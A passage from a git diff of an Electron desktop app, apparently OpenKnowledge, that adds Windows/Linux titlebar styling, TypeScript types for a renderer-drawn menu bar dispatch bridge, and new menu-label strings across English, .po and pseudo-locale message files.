precedent-#49 fallback+ form `mr-[var(--ok-titlebar-reserve-right,0px)]`.+*/+html.electron-mode.electron-platform-win32,+html.electron-mode.electron-platform-linux {+ --ok-titlebar-reserve-left: 1rem;+ --ok-titlebar-reserve-right: calc(+ 100vw -+ env(titlebar-area-x, 0px) -+ env(titlebar-area-width, 100vw)+ );+}+html.electron-mode body {background-color: oklch(from var(--sidebar) l c h / 0.85);}diff --git a/packages/app/src/lib/desktop-bridge-types.ts b/packages/app/src/lib/desktop-bridge-types.tsindex cdd46bc4c..765440faf 100644--- a/packages/app/src/lib/desktop-bridge-types.ts+++ b/packages/app/src/lib/desktop-bridge-types.ts@@ -191,6 +191,16 @@ export interface OkDesktopConfig {* the core mirror — see `OkDesktopConfig` there.*/readonly startupTraceparent?: string;+ /**+ * Whether an interactive PTY can be spawned in this install — the terminal+ * dock's plain-terminal-tab capability gate. `false` on Windows/Linux+ * (node-pty is not bundled there; the terminal dock is dark off-mac), so+ * the renderer hides the terminal affordances instead of surfacing a spawn+ * failure. Gates only the pty-tab surface — future non-pty dock content+ * (e.g. ACP threads) must not key off this. Lockstep with the desktop-side+ * `OkDesktopConfig`.+ */+ readonly ptyAvailable: boolean;}export type OkMenuAction =@@ -727,6 +737,64 @@ export interface OkEditorViewMenuStateSnapshot {readonly terminalLive?: boolean;}+/**+ * Windows/Linux renderer-menubar dispatch payloads (the windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar; win/linux draw it in the+ * renderer and route every click through main via `menu.dispatch` so menu+ * semantics stay single-sourced: `menu-action` relays through the same+ * dispatch path the native menu items use, `role` maps onto Electron's+ * built-in menu roles, `command` covers the main-side click handlers+ * (navigator, folder picker, settings, updater…), and `query` returns the+ * aggregated state the native menu renders from. Same shapes as+ * `MenuDispatch*` in `ipc-channels.ts` — duplicated for the+ * module-resolution reason the wider `OkDesktopBridge` is duplicated.+ */+export type OkMenuDispatchRole =+ | 'undo'+ | 'redo'+ | 'cut'+ | 'copy'+ | 'paste'+ | 'selectAll'+ | 'reload'+ | 'forceReload'+ | 'toggleDevTools'+ | 'resetZoom'+ | 'zoomIn'+ | 'zoomOut'+ | 'toggleFullScreen'+ | 'minimize'+ | 'close'+ | 'quit';++export type OkMenuDispatchCommand =+ | 'open-navigator'+ | 'open-folder-dialog'+ | 'clear-recent-projects'+ | 'open-settings'+ | 'check-for-updates'+ | 'reconfigure-mcp-wiring'+ | 'open-github'+ | 'toggle-spell-check';++export type OkMenuDispatchRequest =+ | { readonly kind: 'query' }+ | { readonly kind: 'menu-action'; readonly action: OkMenuAction }+ | { readonly kind: 'command'; readonly command: OkMenuDispatchCommand }+ | { readonly kind: 'open-recent-project'; readonly path: string }+ | { readonly kind: 'role'; readonly role: OkMenuDispatchRole };++/** `query` result — the same aggregated state the native menu renders from. */+export interface OkMenuRendererSnapshot {+ readonly recentProjects: ReadonlyArray<{ readonly path: string; readonly name: string }>;+ readonly spellCheckEnabled: boolean;+ readonly showDevToolsMenu: boolean;+ readonly canCheckForUpdates: boolean;+ readonly canReconfigureMcpWiring: boolean;+ readonly activeTarget: OkEditorActiveTargetSnapshot;+ readonly viewMenuState: OkEditorViewMenuStateSnapshot;+}+/*** Result shape for `bridge.debug?.keyringSmoke()` — mirrors* `KeyringSmokeResult` in `packages/desktop/src/utility/keyring-smoke.ts`@@ -1396,6 +1464,18 @@ export interface OkDesktopBridge {*/notifyViewMenuStateChanged(state: Partial<OkEditorViewMenuStateSnapshot>): void;};++ /**+ * Windows/Linux renderer-menubar dispatch surface (windows-linux-port+ * renderer-menubar decision). macOS keeps the native menu bar and never calls this; on+ * win/linux the renderer-drawn menu bar routes every click through main+ * so menu semantics live in one place. `query` resolves the aggregated+ * `OkMenuRendererSnapshot`; every other kind performs the action+ * main-side and resolves undefined.+ */+ menu: {+ dispatch(request: OkMenuDispatchRequest): Promise<OkMenuRendererSnapshot | undefined>;+ };/*** Startup-instrumentation push surface. The renderer reports its two* launch checkpoints (page-list ready, first content) as epoch-ms once bothdiff --git a/packages/app/src/locales/en/messages.json b/packages/app/src/locales/en/messages.jsonindex d53cdd356..27fb69d91 100644--- a/packages/app/src/locales/en/messages.json+++ b/packages/app/src/locales/en/messages.json@@ -135,6 +135,7 @@"2AIVbm": ["Review your report"],"2B6eYX": ["What this checkbox changes"],"2BBAbc": ["List"],+ "2CHoQv": ["Force Reload"],"2FYpfJ": ["More"],"2FnYUD": ["App & system info, recent app logs, and project server logs: the essentials we need to reproduce the issue."@@ -192,7 +193,9 @@"3SDfZl": ["<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."],+ "3SZrdj": ["Check for updates…"],"3TCafD": ["Stored on this machine."],+ "3TSz9S": ["Minimize"],"3VbwPp": ["Open ", ["keyName"], " in browser"],"3VsNTI": ["Loading document"],"3YWddZ": ["No content changes in this version"],@@ -685,6 +688,7 @@],"Dvwa0U": ["Create a worktree from this branch"],"Dw1T_W": ["Rename ", ["label"]],+ "Dz7fsq": ["Zoom In"],"E1Da_b": ["This permanently removes ",["0"],@@ -775,6 +779,7 @@"Run a real terminal docked inside OpenKnowledge, starting in this project's folder."],"FCxvG5": ["First item"],+ "FDBwmS": ["Open folder…"],"FEK4oC": ["OpenKnowledge will be initialized at <0>",["gitRoot"],@@ -782,6 +787,7 @@],"FEqWFL": ["Guides your AI agents on how to work here."],"FEr96N": ["Theme"],+ "FF7V5K": ["Actual Size"],"FNTx6u": ["Search \"", ["semanticSubmitQuery"], "\" by meaning"],"FOGD7m": ["Create something great."],"FRYB1Q": ["/api/config returned a malformed body"],@@ -870,6 +876,8 @@"H-vDm3": ["Relaunching to install the update…"],"H08D2X": ["Open a single markdown file in a temporary session, without project setup."],"H0WlWQ": ["Grid of rows and columns with a header row."],+ "H3oH0g": ["Redo"],+ "H6nKok": ["Show in File Manager"],"H86f9p": ["Collapse"],"HAvRAI": [["skillCount", "plural", { "one": ["skill"], "other": ["skills"] }]],"HCn0Ay": ["Toggle strikethrough formatting."],@@ -903,6 +911,7 @@],"Hrz9NY": ["Wiki link"],"HyvSqq": ["Project Skill"],+ "HzVv6g": ["Paste"],"I-xnra": [["0"], " hex value"],"I1gRhX": ["Failed to rename"],"I5685_": ["Try a prompt"],@@ -1050,6 +1059,7 @@"LNum6A": [["minutes"], " min ago"],"LPAv9E": [["days"], "d ago"],"LRgZAt": [["owner"], "/", ["name"], " already exists"],+ "LTeJuX": ["Toggle Full Screen"],"LXdWeS": ["Medium section heading."],"LXfNU-": ["Navigation and suggestions"],"LYufDw": ["Failed to enable semantic search — ", ["detail"]],@@ -1168,6 +1178,7 @@"NSnIUP": ["Two-page (even)"],"NUr4kz": ["A reusable starting point for new documents in this folder."],"NYUhy5": ["Subfolder name"],+ "NYu2Pt": ["New project…"],"N_7kkF": ["Read through this codebase and draft a technical spec for the most complex module: an overview, the architecture, key files, and open questions, all linked from a specs index page."],@@ -1408,8 +1419,10 @@"Skr_7L": ["Search worktrees"],"Sq8lf2": ["Editors to install skills into"],"SrOuyg": ["Document panels"],+ "SvBFYA": ["No recent projects"],"T-654M": ["Loading PDF"],"T0OVm7": ["The default branch is protected — pushes need a pull request."],+ "T3Mld1": ["Window"],"T3j-7o": ["e.g. Switching projects while a sync was running"],"T67A0Y": ["Auto-sync pushes/pulls commits to your git remote on intervals and on save. Toggling on requires confirmation."@@ -1419,6 +1432,7 @@"TKQ7K-": ["Install"],"TLIO3j": ["Toggle italic formatting."],"TQJCR6": [["0", "plural", { "one": ["#", " result"], "other": ["#", " results"] }]],+ "TTDXD8": ["New worktree…"],"TUzThQ": ["Share skills"],"T_R-Qz": ["Primary"],"T_wG4n": ["We couldn't check your GitHub connection."],@@ -1798,6 +1812,7 @@"aHPdYV": ["Go to line ", ["displayLine"]],"aM23Wr": ["page-name"],"aOp3hw": ["Couldn't move to Trash"],+ "aRI3Om": ["Close Window"],"aWlJai": ["Starting sign-in flow"],"a_u4ck": ["Loading tags"],"aaE55D": ["Clear ", ["keyName"]],@@ -1809,6 +1824,7 @@"adsMWO": ["Resolving deltas"],"aiArms": ["We couldn't clone this repository."],"ajz9F8": ["Couldn't load conflict content for ", ["filePath"], ". Try reloading the page."],+ "ak4LLg": ["Clear menu"],"anmUZq": ["Missing a feature"],"aoa6xA": ["network error (is `ok ui` running?)"],"arUUsK": ["Product updates"],@@ -1835,6 +1851,7 @@"bV6DJA": ["Who you are, so the agent has your context."],"bWLmRK": ["Could not fetch branch. Check your connection."],"ba3vIW": [["templateCount", "plural", { "one": ["template"], "other": ["templates"] }]],+ "bbJ-VR": ["Zoom Out"],"bcDHUM": [["descriptorLabel"], " — render error, source editable below"],"bcjYUA": ["Fold or unfold source"],"bkQRMh": ["Paragraph"],@@ -1846,6 +1863,7 @@],"bwil08": ["Building <0>openknowledge.skill</0> and opening the Claude Desktop App"],"c1LZZH": ["Link copied."],+ "c3XJ18": ["Help"],"c4fVUV": ["Fix"],"c5PTFE": ["Dev instance: ", ["label"], " (isolated from other worktrees)"],"c5f7sm": ["Code block language: ", ["currentLabel"], ". Click to change."],@@ -1853,6 +1871,7 @@"c863eW": ["Could not switch to ", ["shareBranch"], ". Try switching manually."],"c8iK2Y": ["No templates found."],"c8jBgX": ["Checking for updates on GitHub"],+ "cCd8Bs": ["Cut"],"cEoyWz": ["Add item to ", ["keyName"]],"cF9DyA": ["Reconnecting after server restart"],"cFCKYZ": ["Deny"],@@ -1991,6 +2010,7 @@"fNr-MX": ["Disable semantic search"],"fR-Kdc": ["(project-level only)"],"fSRzLo": ["Show document panel"],+ "fTtfPS": ["Report a Bug…"],"fVcm9t": [["0", "plural", { "one": ["#", " doc"], "other": ["#", " docs"] }]],"fWi7pn": ["Initialize starter pack"],"fWsBTs": ["Something went wrong. Please try again."],@@ -2156,6 +2176,7 @@"iilQXA": ["Folder duplicated"],"ijLc3m": ["Bullet list"],"ilodsp": ["Let agents use OpenKnowledge without asking"],+ "ioMn4Z": ["New from Template…"],"ipn17C": ["The <0>type</0> every document created from this template gets (e.g. <1>research-note</1>). Keeps new docs Open Knowledge Format–conformant."],@@ -2332,6 +2353,7 @@"m2T1Xj": ["Tag #", ["tagValue"], ", ", ["uses"]],"m6YGpY": ["Active panel content for the selected tab shows here."],"mBltnd": ["Path suggestions"],+ "mCB6Je": ["Select All"],"mGaZwZ": ["See the full install guide"],"mHVPm5": ["Reconnect required"],"mLAjyL": [@@ -2375,6 +2397,7 @@" editor skill(s) for this project. Import moves them into .ok/skills and replaces the .claude, .codex, etc. copies with symlinks — one place to edit, in sync everywhere. If those folders are committed to git, review the change first; symlinks can behave differently on some editors and on Windows."],"mwMF9u": ["Open CodeMirror search in source editor mode."],+ "mxGJVE": ["Switch worktree…"],"mxY24F": ["Duplicate the focused file-tree item when focus is in the Files sidebar."],"n2lRue": ["Commit or stash changes to switch:"],"n3wx1q": ["Restore to this version?"],@@ -2524,6 +2547,7 @@"pbwTg6": [["seconds"], "s ago"],"pckX1A": [["0", "plural", { "one": ["#", " use"], "other": ["#", " uses"] }]],"pcqlQu": [["0", "plural", { "one": ["Folder"], "other": ["Folders"] }]],+ "pgDlbM": ["Toggle Developer Tools"],"pgq_xf": [["0"], "/", ["1"], " ", ["2"]],"phM8Kh": ["Found the repo but could not open the project. Please try again."],"pha01Y": ["Project-level pages with no incoming graph edges."],@@ -2595,6 +2619,7 @@"Tell us what went wrong and we'll gather the logs. Nothing leaves your Mac until you've reviewed it."],"rDOuNw": ["Failed to import template"],+ "rFTdVq": ["Show in Explorer"],"rFmBG3": ["Color theme"],"rFw02Q": ["Uploading ", ["keyName"]],"rJVoVX": ["Source find results"],@@ -2695,6 +2720,7 @@"tUvUfp": ["Use a folder you already have."],"t_YqKh": ["Remove"],"teD0H9": ["Couldn't open a worktree for that branch."],+ "ten9en": ["Recent project"],"tfDRzk": ["Save"],"tfi40B": ["Failed to create page"],"tgWuMB": ["Modified"],@@ -2735,6 +2761,7 @@"uQewpR": ["Couldn't restart the server — it's running under a different account. Restart your computer to clear it, then reopen this project."],+ "uVbUP8": ["Settings…"],"uWtdQR": ["No templates yet. Add one in this folder's Templates section, or in Settings → Templates."],@@ -2780,6 +2807,7 @@"vPKX2i": ["In app (beta)"],"vQIVHc": ["Folder properties"],"vWc9a0": ["Type to edit; <0>⌘ Enter</0> saves, <1>Esc</1> cancels."],+ "vYPvPB": ["Switch project…"],"vZVeFG": ["Upload failed — please try again"],"vbK_ZG": ["Files sidebar"],"ve8vEM": ["Code expired — please try again"],@@ -2914,6 +2942,7 @@"y_K0Dz": ["What happened?"],"yaPGPa": ["Open a project to manage its AI tool connections."],"ycIX5i": ["You're signed out — sign in to resume syncing."],+ "ydzS9x": ["Exit"],"yf5auF": ["Search rules by id, alias, or name"],"yf5r22": [["keyName"],@@ -2952,6 +2981,7 @@],"zAJzIg": ["Problems in ", ["0"]],"zAsDLY": ["Graph visualization of document links"],+ "zBUqvf": ["Set up OpenKnowledge integrations…"],"zKxoPm": ["Couldn't rename \"", ["0"], "\": ", ["1"]],"zL0LPh": ["Global outside text fields"],"zLGXna": ["No starter packs available."],diff --git a/packages/app/src/locales/en/messages.po b/packages/app/src/locales/en/messages.poindex 0796c6160..8e1a63bdb 100644--- a/packages/app/src/locales/en/messages.po+++ b/packages/app/src/locales/en/messages.po@@ -843,6 +843,10 @@ msgstr "Active panel content for the selected tab shows here."msgid "Activity"msgstr "Activity"+#: src/components/AppMenubar.tsx+msgid "Actual Size"+msgstr "Actual Size"+#: src/components/FrontmatterRow.tsx#: src/components/ObjectWidget.tsx#: src/components/PropertyPanel.tsx@@ -1519,6 +1523,10 @@ msgstr "Cannot upload: no document is open"msgid "Check for updates"msgstr "Check for updates"+#: src/components/AppMenubar.tsx+msgid "Check for updates…"+msgstr "Check for updates…"+#: src/components/NewWorktreeDialog.tsxmsgid "Check out remote branch"msgstr "Check out remote branch"@@ -1527,6 +1535,7 @@ msgstr "Check out remote branch"msgid "Check out worktree"msgstr "Check out worktree"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Check spelling while typing"msgstr "Check spelling while typing"@@ -1621,6 +1630,10 @@ msgstr "Clear"msgid "Clear {keyName}"msgstr "Clear {keyName}"+#: src/components/AppMenubar.tsx+msgid "Clear menu"+msgstr "Clear menu"+#: src/components/settings/SearchSection.tsxmsgid "Clear the field to reset back to the default OpenAI endpoint."msgstr "Clear the field to reset back to the default OpenAI endpoint."@@ -1747,6 +1760,10 @@ msgstr "Close tab"msgid "Close terminal"msgstr "Close terminal"+#: src/components/AppMenubar.tsx+msgid "Close Window"+msgstr "Close Window"+#: src/components/GraphLegend.tsxmsgid "Clusters"msgstr "Clusters"@@ -1796,6 +1813,7 @@ msgstr "Collapse"msgid "Collapse {keyName}"msgstr "Collapse {keyName}"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -2108,6 +2126,7 @@ msgstr "Copied relative path"msgid "Copied!"msgstr "Copied!"+#: src/components/AppMenubar.tsx#: src/components/CopyButton.tsx#: src/components/empty-state/CopyablePromptList.tsx#: src/components/InstallInClaudeDesktopDialog.tsx@@ -2148,6 +2167,7 @@ msgstr "Copy full path"msgid "Copy full path, No workspace"msgstr "Copy full path, No workspace"+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Copy path"msgstr "Copy path"@@ -2751,6 +2771,10 @@ msgstr "Custom theme"msgid "Customize how the editor looks and behaves."msgstr "Customize how the editor looks and behaves."+#: src/components/AppMenubar.tsx+msgid "Cut"+msgstr "Cut"+#: src/components/settings/ColorThemePicker.tsxmsgid "Dark"msgstr "Dark"@@ -3149,6 +3173,7 @@ msgstr "Drag {patternText} to reorder"msgid "Drag item {0} to reorder"msgstr "Drag item {0} to reorder"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileTree.tsx#: src/components/skill-actions.tsx@@ -3204,6 +3229,7 @@ msgstr "e.g. The editor froze after I pasted a large table"msgid "Each selected tool gets an OpenKnowledge MCP entry."msgstr "Each selected tool gets an OpenKnowledge MCP entry."+#: src/components/AppMenubar.tsx#: src/components/skill-actions.tsx#: src/components/TemplateForm.tsx#: src/components/TemplateRow.tsx@@ -3447,6 +3473,10 @@ msgstr "Exception: skills are shared"msgid "Existing branch <0>{trimmed}</0> will be checked out into its own window, under <1>.ok/worktrees/</1>."msgstr "Existing branch <0>{trimmed}</0> will be checked out into its own window, under <1>.ok/worktrees/</1>."+#: src/components/AppMenubar.tsx+msgid "Exit"+msgstr "Exit"+#. placeholder {0}: exit.exitCode ?? 0#: src/components/acp/ThreadView.tsxmsgid "exit {0}"@@ -3461,6 +3491,7 @@ msgstr "Exit merge"msgid "Expand {keyName}"msgstr "Expand {keyName}"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3793,6 +3824,7 @@ msgstr "Fetch failed — check the server logs for details."msgid "Fetching"msgstr "Fetching"+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx#: src/components/settings/AiToolsSection.tsx#: src/components/settings/ProjectAiToolsSection.tsx@@ -4004,6 +4036,10 @@ msgstr "Following the agent's edits"msgid "Footnote"msgstr "Footnote"+#: src/components/AppMenubar.tsx+msgid "Force Reload"+msgstr "Force Reload"+#: src/components/acp/ThreadView.tsxmsgid "Force stop"msgstr "Force stop"@@ -4036,6 +4072,7 @@ msgstr "Frontmatter every document created from this template starts with. Valuemsgid "Full guide"msgstr "Full guide"+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Full path"msgstr "Full path"@@ -4214,6 +4251,10 @@ msgstr "Heads up: editing any rule or option here creates a <0>.markdownlint.jsomsgid "Hello, world!"msgstr "Hello, world!"+#: src/components/AppMenubar.tsx+msgid "Help"+msgstr "Help"+#. Subtext for the open-knowledge-discovery skill row#. Subtext for the open-knowledge-discovery skill row#: src/components/McpConsentDialogBody.tsx@@ -4242,6 +4283,7 @@ msgstr "Hide"msgid "Hide advanced"msgstr "Hide advanced"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Hide document panel"msgstr "Hide document panel"@@ -4295,6 +4337,7 @@ msgstr "Hide replace"msgid "Hide selection preview"msgstr "Hide selection preview"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Hide sidebar"msgstr "Hide sidebar"@@ -5083,6 +5126,10 @@ msgstr "Message {agentName}"msgid "Message not sent: {0}"msgstr "Message not sent: {0}"+#: src/components/AppMenubar.tsx+msgid "Minimize"+msgstr "Minimize"+#: src/editor/components/Mirror.tsxmsgid "Mirror loading <0>{mirrorRef}</0>"msgstr "Mirror loading <0>{mirrorRef}</0>"@@ -5189,6 +5236,7 @@ msgstr "Move to the next visual-editor find result."msgid "Move to the previous visual-editor find result."msgstr "Move to the previous visual-editor find result."+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Move to Trash"msgstr "Move to Trash"@@ -5322,6 +5370,7 @@ msgstr "New branch <0>{trimmed}</0> will be created from <1>{currentBaseLabel}</msgid "New branch <0>{trimmed}</0> will be created from the current commit, in its own worktree under <1>.ok/worktrees/</1>."msgstr "New branch <0>{trimmed}</0> will be created from the current commit, in its own worktree under <1>.ok/worktrees/</1>."+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -5338,6 +5387,7 @@ msgstr "New file from template \"{displayTitle}\" ({fileName}) in {targetLabel}"msgid "New file from template \"{displayTitle}\" ({fileName}) in the project root"msgstr "New file from template \"{displayTitle}\" ({fileName}) in the project root"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -5352,6 +5402,10 @@ msgstr "New folder"msgid "New from template"msgstr "New from template"+#: src/components/AppMenubar.tsx+msgid "New from Template…"+msgstr "New from Template…"+#: src/components/settings/OkignoreSection.tsxmsgid "New ignore pattern"msgstr "New ignore pattern"@@ -5361,6 +5415,10 @@ msgstr "New ignore pattern"msgid "New project"msgstr "New project"+#: src/components/AppMenubar.tsx+msgid "New project…"+msgstr "New project…"+#: src/components/FrontmatterRow.tsxmsgid "New property name"msgstr "New property name"@@ -5405,6 +5463,10 @@ msgstr "New thread with {0}"msgid "New worktree"msgstr "New worktree"+#: src/components/AppMenubar.tsx+msgid "New worktree…"+msgstr "New worktree…"+#: src/components/TimelineDiffPane.tsxmsgid "Next change"msgstr "Next change"@@ -5630,6 +5692,10 @@ msgstr "No project skills yet. Author one to teach agents a repeatable task scopmsgid "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."msgstr "No project templates yet. Create one to make it available everywhere in this project. Folder-scoped templates live on each folder's overview page."+#: src/components/AppMenubar.tsx+msgid "No recent projects"+msgstr "No recent projects"+#: src/components/ProjectSwitcher.tsxmsgid "No recent projects."msgstr "No recent projects."@@ -5993,6 +6059,10 @@ msgstr "Open folder"msgid "Open folder on disk"msgstr "Open folder on disk"+#: src/components/AppMenubar.tsx+msgid "Open folder…"+msgstr "Open folder…"+#: src/components/command-palette-commands.tsmsgid "Open graph"msgstr "Open graph"@@ -6092,6 +6162,7 @@ msgstr "Open this settings dialog."msgid "Open visual-editor find with replace controls expanded."msgstr "Open visual-editor find with replace controls expanded."+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx@@ -6152,6 +6223,7 @@ msgstr "OpenKnowledge is using a GitHub account provided by the gh CLI. There'smsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge is using this GitHub account."+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "OpenKnowledge on GitHub"msgstr "OpenKnowledge on GitHub"@@ -6320,6 +6392,10 @@ msgstr "Paragraph"msgid "Parse failed"msgstr "Parse failed"+#: src/components/AppMenubar.tsx+msgid "Paste"+msgstr "Paste"+#: src/components/AuthModal.tsxmsgid "Paste a personal access token for <0>{host}</0>."msgstr "Paste a personal access token for <0>{host}</0>."@@ -6738,6 +6814,10 @@ msgstr "Receiving objects"msgid "Recent"msgstr "Recent"+#: src/components/AppMenubar.tsx+msgid "Recent project"+msgstr "Recent project"+#: src/components/CommandPalette.tsxmsgid "Recently opened"msgstr "Recently opened"@@ -6762,6 +6842,10 @@ msgstr "Reconnecting to the agent service…"msgid "Reconnecting…"msgstr "Reconnecting…"+#: src/components/AppMenubar.tsx+msgid "Redo"+msgstr "Redo"+#: src/components/ProblemsPanel.tsxmsgid "Refresh audit"msgstr "Refresh audit"@@ -6784,6 +6868,7 @@ msgstr "Reinstalling"msgid "Reject"msgstr "Reject"+#: src/components/AppMenubar.tsx#: src/components/FileTree.tsxmsgid "Relative path"msgstr "Relative path"@@ -6801,6 +6886,7 @@ msgstr "Relaunching to install the update…"msgid "Release notes"msgstr "Release notes"+#: src/components/AppMenubar.tsx#: src/components/EditorActivityPool.tsx#: src/components/settings/SettingsDialogErrorBoundary.tsx#: src/components/TerminalGate.tsx@@ -6895,6 +6981,7 @@ msgstr "Removes this skill from your editors."msgid "Removing"msgstr "Removing"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileTree.tsx#: src/components/skill-actions.tsx@@ -7005,6 +7092,10 @@ msgstr "Replace the active match from the replace field."msgid "Report a bug"msgstr "Report a bug"+#: src/components/AppMenubar.tsx+msgid "Report a Bug…"+msgstr "Report a Bug…"+#: src/components/ReportBugDialogBody.tsxmsgid "Report reference"msgstr "Report reference"@@ -7462,6 +7553,10 @@ msgstr "See <0>Architecture</0> for the system overview."msgid "See the full install guide"msgstr "See the full install guide"+#: src/components/AppMenubar.tsx+msgid "Select All"+msgstr "Select All"+#: src/lib/keyboard-shortcuts.tsmsgid "Select all files and folders"msgstr "Select all files and folders"@@ -7604,6 +7699,10 @@ msgstr "Set the auto-sync default for users opening this project for the first tmsgid "Set up OpenKnowledge integrations"msgstr "Set up OpenKnowledge integrations"+#: src/components/AppMenubar.tsx+msgid "Set up OpenKnowledge integrations…"+msgstr "Set up OpenKnowledge integrations…"+#: src/components/settings/SyncSection.tsxmsgid "Set up syncing"msgstr "Set up syncing"@@ -7636,6 +7735,10 @@ msgstr "Settings failed to load"msgid "Settings sections"msgstr "Settings sections"+#: src/components/AppMenubar.tsx+msgid "Settings…"+msgstr "Settings…"+#. Primary button — begins scaffolding the project#: src/components/ConsentDialogBody.tsxmsgid "Setup"@@ -7713,6 +7816,7 @@ msgstr "Sharing a doc needs a GitHub repository. Create one for this project."msgid "Show"msgstr "Show"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show .ok folders"@@ -7744,6 +7848,7 @@ msgstr "Show advanced"msgid "Show diagram"msgstr "Show diagram"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Show document panel"msgstr "Show document panel"@@ -7768,6 +7873,7 @@ msgstr "Show Files ({sidebarShortcut})"msgid "Show Files ({sidebarShortcutLabel})"msgstr "Show Files ({sidebarShortcutLabel})"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsx#: src/components/NotInSidebarIndicator.tsx@@ -7778,11 +7884,20 @@ msgstr "Show hidden files"msgid "Show HTML preview"msgstr "Show HTML preview"+#: src/components/AppMenubar.tsx+msgid "Show in Explorer"+msgstr "Show in Explorer"++#: src/components/AppMenubar.tsx+msgid "Show in File Manager"+msgstr "Show in File Manager"+#: src/components/PackCardGrid.tsx#: src/components/settings/ConfigureAgentsSection.tsxmsgid "Show less"msgstr "Show less"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show only markdown files"@@ -7821,10 +7936,12 @@ msgstr "Show replace"msgid "Show selection preview"msgstr "Show selection preview"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.tsmsgid "Show sidebar"msgstr "Show sidebar"+#: src/components/AppMenubar.tsx#: src/components/command-palette-commands.ts#: src/components/FileSidebar.tsxmsgid "Show skills section"@@ -8188,6 +8305,10 @@ msgstr "Switch branch"msgid "Switch project"msgstr "Switch project"+#: src/components/AppMenubar.tsx+msgid "Switch project…"+msgstr "Switch project…"+#: src/components/settings/SharingSection.tsxmsgid "Switch to local-only refused"msgstr "Switch to local-only refused"@@ -8196,6 +8317,10 @@ msgstr "Switch to local-only refused"msgid "Switch worktree"msgstr "Switch worktree"+#: src/components/AppMenubar.tsx+msgid "Switch worktree…"+msgstr "Switch worktree…"+#: src/components/ShareBranchSwitchDialog.tsxmsgid "Switching branches"msgstr "Switching branches"@@ -8885,6 +9010,14 @@ msgstr "Toggle an ordered list."msgid "Toggle bold formatting."msgstr "Toggle bold formatting."+#: src/components/AppMenubar.tsx+msgid "Toggle Developer Tools"+msgstr "Toggle Developer Tools"++#: src/components/AppMenubar.tsx+msgid "Toggle Full Screen"+msgstr "Toggle Full Screen"+#: src/lib/keyboard-shortcuts.tsmsgid "Toggle heading levels 1 through 6."msgstr "Toggle heading levels 1 through 6."@@ -9028,6 +9161,7 @@ msgid "Undid the last edit on {docName}"msgstr "Undid the last edit on {docName}"#: src/components/ActivityPanelBurstRow.tsx+#: src/components/AppMenubar.tsx#: src/components/settings/SharingSection.tsxmsgid "Undo"msgstr "Undo"@@ -9272,6 +9406,7 @@ msgstr "Value is required"msgid "via {viaTags}"msgstr "via {viaTags}"+#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsxmsgid "View"msgstr "View"@@ -9476,6 +9611,10 @@ msgstr "Will be saved as <0>{sanitized}</0>."msgid "Will replace existing OpenKnowledge entry"msgstr "Will replace existing OpenKnowledge entry"+#: src/components/AppMenubar.tsx+msgid "Window"+msgstr "Window"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Word wrap"@@ -9673,7 +9812,15 @@ msgstr "Your share link is ready below."msgid "Zoom in"msgstr "Zoom in"+#: src/components/AppMenubar.tsx+msgid "Zoom In"+msgstr "Zoom In"+#: src/editor/components/Mermaid.tsx#: src/editor/components/Pdf.tsxmsgid "Zoom out"msgstr "Zoom out"++#: src/components/AppMenubar.tsx+msgid "Zoom Out"+msgstr "Zoom Out"diff --git a/packages/app/src/locales/pseudo/messages.json b/packages/app/src/locales/pseudo/messages.jsonindex d050325ca..4190b68da 100644--- a/packages/app/src/locales/pseudo/messages.json+++ b/packages/app/src/locales/pseudo/messages.json@@ -135,6 +135,7 @@"2AIVbm": ["Ŕēvĩēŵ ŷōũŕ ŕēƥōŕţ"],"2B6eYX": ["Ŵĥàţ ţĥĩś ćĥēćķƀōx ćĥàńĝēś"],"2BBAbc": ["Ĺĩśţ"],+ "2CHoQv": ["Ƒōŕćē Ŕēĺōàď"],"2FYpfJ": ["Ḿōŕē"],"2FnYUD": ["Àƥƥ & śŷśţēḿ ĩńƒō, ŕēćēńţ àƥƥ ĺōĝś, àńď ƥŕōĴēćţ śēŕvēŕ ĺōĝś: ţĥē ēśśēńţĩàĺś ŵē ńēēď ţō ŕēƥŕōďũćē ţĥē ĩśśũē."@@ -192,7 +193,9 @@"3SDfZl": ["<0>Ḿĩŕŕōŕ — ƥĩćķ à śōũŕćē.</0> Śēţ <1>śŕć</1> + <2>àńćĥōŕ</2> vĩà ţĥē ƥŕōƥēŕţŷ ƥàńēĺ ţō ƥōĩńţ àţ à <3><MirrorSource></3> ēĺśēŵĥēŕē."],+ "3SZrdj": ["Ćĥēćķ ƒōŕ 